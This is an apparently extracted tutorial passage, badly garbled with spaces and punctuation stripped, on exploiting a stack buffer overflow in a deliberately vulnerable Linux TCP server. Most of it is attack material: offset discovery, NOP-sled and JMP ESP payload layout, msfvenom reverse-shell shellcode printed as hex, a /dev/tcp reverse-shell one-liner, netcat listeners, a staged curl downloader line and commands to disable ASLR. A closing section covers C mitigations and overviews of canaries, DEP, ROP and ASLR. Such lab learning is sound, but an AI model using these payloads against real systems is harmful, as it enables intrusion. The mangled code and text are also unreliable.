rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

